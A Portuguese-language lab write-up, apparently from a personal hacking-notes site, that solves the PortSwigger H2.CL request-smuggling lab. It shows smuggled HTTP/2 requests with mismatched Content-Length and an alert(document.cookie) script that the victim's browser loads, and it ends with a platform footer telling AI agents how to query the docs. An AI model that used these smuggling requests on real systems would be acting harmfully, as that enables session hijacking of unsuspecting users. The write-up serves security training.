> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/h2-cl-request-smuggling.md).

# Contrabando de Requisições H2.CL

Notas sobre Contrabando de Requisições H2.CL para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Smuggling de requisições H2.CL

Este laboratório é vulnerável a **smuggling de requisições** porque o servidor front-end rebaixa **HTTP/2** as requisições mesmo quando elas têm um comprimento ambíguo.

O objetivo é realizar um ataque que permita ao navegador da vítima carregar e executar um **arquivo JavaScript malicioso** hospedado no servidor de exploração, contendo:

```javascript
alert(document.cookie)
```

O usuário vítima visita a página inicial a cada **10 segundos**.

#### **Alternando para um 404 via Smuggling**

É necessária uma incoerência de comprimento para causar um **404 Não Encontrado**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Análise do comportamento da aplicação**

A página carrega automaticamente um script:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-891ea3f240710cfe5aa82acfce9afcfd13318829%2F%7BF62B3C60-F05D-4E6D-87F7-F140517019A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Este script gera um identificador aleatório e envia uma consulta para:

```javascript
/analytics?id=<random value>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a7d73012ac3607cf6d865fe67beccb0816c2364%2F%7BD9860077-F17F-43EA-A3C6-9F38AC3C193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Trecho da função:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Observação dos caminhos aceitos**

Uma consulta smuggled para:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e587ab28f5befefae1e21b4ed5c43b7b4757720c%2F%7BE415EF65-91A1-46D2-8CA6-45BAD213BACA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

é aceita.

Por outro lado, outros caminhos não são.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83720fb669762d685b9d5dd6dd3faa4e4a202ea9%2F%7BBE9B35B3-50E4-40C7-B98B-9AB38093AD5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Injeção de script malicioso**

Colocamos nossa carga útil no arquivo fornecido pelo servidor de exploração:

* nome do arquivo: **resources**
* conteúdo do corpo:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c49dc90301826db9d92bb4a758c1778b4c5d6a9d%2F%7BD8286DCB-E2EE-4DD9-B016-FA707D66A69D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A vítima é redirecionada para este arquivo, e o navegador executa o alerta, confirmando a exploração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-007655840ce8f240b6730b13dbb167711acb9a0a%2F%7BBF87F632-9D21-4148-8EF4-51A8CF572AE1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
